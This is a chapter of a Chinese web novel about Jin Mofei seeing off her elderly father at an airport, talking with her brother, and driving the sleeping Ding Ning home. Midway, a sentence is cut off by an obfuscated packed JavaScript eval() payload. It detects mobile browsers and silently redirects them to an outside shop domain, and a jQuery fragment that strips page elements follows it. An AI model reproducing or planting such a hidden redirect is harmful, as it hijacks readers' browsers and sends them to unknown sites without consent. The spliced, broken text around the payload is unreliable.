“父亲”这个角色，在丁宁心里始终只有一个模模糊糊的轮廓。那个在外人眼里十恶不赦的不法之徒，在当时尚且年幼的她看来，不过是个温柔得近乎有些窝囊的男人。
即便没有什么天赋，这个男人也会把她画的全家福贴在床头最显眼的位置。并且在日记本里一笔一画地写下：今天囡囡说以后想当画家，我要更加努力，将来送她去世界上最好的艺术学校。
可悲的是，丁宁对这些几乎没有任何印象。她只能在那些未被丁红霞清理干净的旧柜子里，零零碎碎地拼凑出这个男人曾存在过的痕迹。
丁宁真正想对金莫非说、却始终没能说出口的是：你永远不知道，意外和告别究竟哪一个会先来。前一秒，还穿着新买的公主裙在父母面前转圈炫耀的掌上明珠；下一秒，也许就会被独自丢在泡沫爬垫上，哭得声嘶力竭。
父亲进去后没过几个月就死了。谁也想不到，一个正值壮年的男人，最后竟会死于一场不疼不痒的风寒。丈夫的去世对丁红霞打击极大，虽然她从来不说，但丁宁一直都能感觉到。她心里其实是心疼母亲的。那个曾经也被人捧在掌心的女人，几乎在一夜之间被迫独立。
而丁宁也一样。
她不再渴望有人给自己买公主裙，也不再惦记那一听就要花很多钱的艺术学校。只是无数次想，如果当年的大人们没有以保护之名，硬生生剥夺自己看他最后一眼的机会，哪怕只是隔着冰冷的铁栅栏，至少自己还能在回忆里见到他。
出事之后，丁红霞把家里所有和父亲有关的合照，统统撕了个干净。
所以丁宁不知道，金莫非有没有认真看过她父亲的脸。那些饱经风霜的沟壑，还得起几次流年的洗刷；那副已然衰老的躯壳，又捱得过几趟万丈高空的长途跋涉。
可惜这些话，她终究说不出口。她不能拿自己的遗憾强加于人，德高望重的艺术大师也不能与一个短命的囚徒相提并论。
“你在这等我一会儿吧。”
但其实金莫非当时当下并没有想太多。和家里错综复杂的关系相比，眼下她更在意的，也许只是自己怎样做，才能让身边的人高兴一点。
去机场的路上一直很安静，两人各有各的心事。等真正抵达时，夜色已经深了。金莫非让丁宁把车停进航站楼地下，她独自推门下去，一路小跑着朝出发大厅赶去。
航班信息是埃伦告诉她的。可金莫非心里隐约明白，母亲并不真心希望她来。
其中的缘由，她大致也明白。无非是因为两个姐姐也在场。她们曾经激烈反对过这段年龄悬殊过大的婚姻，而埃伦既然受过那样的审视与敌意，自然也不会愿意让她的女儿，再去经历一遍同样的难堪。
金莫非在最后一刻赶到了海关口。埃伦并不在这里，只有哥哥，姐姐以及垂垂老矣的父亲。金骏的轮椅在一众健康人里显得格外突出，下半身失去直觉的他感知不到女儿把头靠在上面时，那点迟来的温度。
“爸爸，谢谢。”金莫非半蹲下来，贴着父亲的腿轻轻说。
沐浴着众人的目光走过来时，她一直低着头，甚至不敢去看两个姐姐的脸。目之所及只有两双素色的皮鞋，在她靠近时突然激动地向前涌了一下，却很快被及时挡在前面的金峰拦了下来。
“莫非，你怎么找到这里来的？”哥哥看起来既惊讶，又有几分感动。他好像从始至终都只将金莫非当作一个没有感情的人偶。无论如何随意摆弄，都不该有明确的感情。
“妈妈告诉我的。”
金莫非感到头被人轻轻抚过，那苍老的触感令她几乎流出泪来。“你是个好孩子。”她恍恍然抬起头，挑高的天顶灯光刺眼，仿若来自天堂的普照。
就在这时，金莫非看见父亲对自己轻轻笑了一下。但还没能让她回味过来究竟是不是幻觉之前，轮椅就已经被两个姐姐推走了。
她呆滞地跪坐在行色匆匆的人流中，望着那个无论如何也谈不上熟悉的身影，穿过隔栏，踏进冗长的队列，再与茫茫人海交汇。金莫非混杂的大脑中忽然浮现一句极老派的话，人这一生，赤条条地来，亦赤条条地去。
她就这样呆呆地看着，看着眼前陌生的背影换了一波又一波，直到嘈杂的人声被过滤成一阵阵没有信息的背景嗡鸣，也始终没有起身。
一旁的金峰终于看不过眼，俯身一把将她从冰冷的地板上拽了起来。
*
金莫非的人生一直很轻，像蜻蜓掠过湖面那一下的浅尝辄止。所以当她今天第一次感受到亲情的厚重时，本能的反应也是想避开。在顺路往停车场去的路上，触景生情的金峰说家里还有几幅父亲留给她的画，从来没有人看过，要不要顺便回去拿一下。
金莫非想都没想直接拒绝了，她今天已承受了足够多的情感，不想因此而触及更多难过的回忆。即便有最后一刻的温情，也并不能抹去那些年里自己始终被忽视的事实。
她觉得父亲如果真的爱自己，应该当面说出来，而非总是以这种藏着掖着的形式。把自己衬托得像个罪人，一直恬不知耻的接受着他人的恩泽，且不知回报。
“你还小，很多事不懂。”
金峰用一种过去从未有过的眼神打量着金莫非。他的鬓角已然半白。按理说，到了他这个年纪，大多数人早该扮演起父亲的角色了。可这么多年来，金峰却始终没有结婚的打算。
奇怪的是，家里人对此也从不多问，仿佛他生来就该如此。
对，我不懂。金莫非赌气地想着，故意侧了侧身，避开了对方想要落到自己肩上的那只手。
“我看到了你给妈妈画的那副画，她高兴的都快哭了。”金峰依然不动神色地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17914959|213101||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
观察着她，商人敏锐的嗅觉使他比谁都先看见自家妹妹的潜力：“所以我们在想，等爸爸的展子落下之后，是不是也应该给你策划一下。”
轰得一下，她感到肩上被压上了沉甸甸的重量。
“我还不确定自己想不想。”
今天接受杂志采访的时候，金莫非也被同样的问题绊住了。似乎所有人都理所当然地认为，艺术家都该渴望表达自我，将丰富的内心世界描摹出来，以一种体面的方式换取外界的赏识。
这本应是个良性循环，金莫非的起点已是他人梦寐以求却可望不可及的终点。但她却并不认为自己已经全然准备好了。她的内心还很空洞，且她也不想让外人看到这个空洞。
“等一切都安排好，你自然就会想了。”
兄妹俩在地下车库的入口分道扬镳。金峰开的轿车在金莫非背后亮起一道光，从那半暗的身影上仓促地划过，而后又停下：“平常有空多回家，我一直一直都很想你。”
金峰在留下这句后，便循着上升的坡道缓缓驶离了。他好像愈发将自己当成了一家之主，仅仅今晚，他对自己说过的话，甚至比金莫非记忆中加起来的总和还要多。
金莫非觉得他大抵也还是想念父亲的，不然不会在分离后的当下，企图靠抓紧自己来弥补多年来与家庭的裂隙。
她快步朝停在角落里的那辆SUV走去。已经这么晚了，金莫非心里满是愧疚，只想尽快回去，好让她好好休息。
金莫非再次加快了脚步跑起来。
“久等了，我——”
车门刚一拉开，金莫非便发现丁宁早已蜷缩在放平的驾驶座上睡着了。她收起声音，沉默地盯了会儿，然后轻轻关上了车门。
金莫非突然很庆幸赋闲在家的那段时间自己顺利考取了驾照。不然面对此情此景，她又将不知所措。
“你自己撑着点啊，我快没力气了……”
说来有些惭愧，光凭她一个人的力气，还不足以轻松抱起一个昏睡中的成年女人。可好在这辆车空间足够大，她半是推半是抱的也算是把人挪到了后排的位置。
混乱间，丁宁似乎还残留着一点模糊的意识，闭着眼也不忘低声命令她，把散落在地上的高跟鞋一并拿上来。
“好好好，急什么。”
金莫非一边喘气，一边低声哄她，语气竟也一时之间不像她自己了。
丁宁闭着眼面对着椅背，轻轻笑了一下。这个笑和以往金莫非在她嘴中听到的有所不同，很轻浮，带着几分调侃的意味。
大功告成的金莫非长舒一口气。她对这辆车还不算熟，光是重新调好椅背，就又折腾了半天。等终于坐稳，她抬手调了调后视镜，看着后方的人似乎悄悄动了一下，并且说了句自己完全听不懂的话。
“方远，我想回家。”